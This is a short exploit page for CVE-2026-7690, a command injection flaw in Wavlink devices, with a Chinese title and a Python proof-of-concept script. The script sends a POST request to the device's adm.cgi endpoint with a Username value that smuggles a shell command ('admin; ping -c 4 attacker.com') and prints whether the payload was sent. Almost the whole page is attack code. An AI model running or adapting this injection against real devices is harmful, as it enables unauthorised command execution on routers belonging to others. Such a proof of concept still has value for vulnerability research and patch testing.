CVE-2026-7690 Wavlink命令注入漏洞

import requests # Target URL of the vulnerable device target_url = "http://<TARGET_IP>/cgi-bin/adm.cgi" # The vulnerable function is set_sys_adm # The 'Username' parameter is vulnerable to command injection # Example payload: appending a shell command to execute malicious_username = "admin; ping -c 4 attacker.com" # Data payload to be sent in the POST request payload_data = { "action": "set_sys_adm", "Username": malicious_username, "Password": "password123" } try: # Sending the POST request to trigger the vulnerability response = requests.post(target_url, data=payload_data) # Check if the request was sent (response status may vary) if response.status_code == 200: print("[+] Payload sent successfully.") print("[+] Check your listener or network traffic for command execution indication.") else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[-] An error occurred: {e}")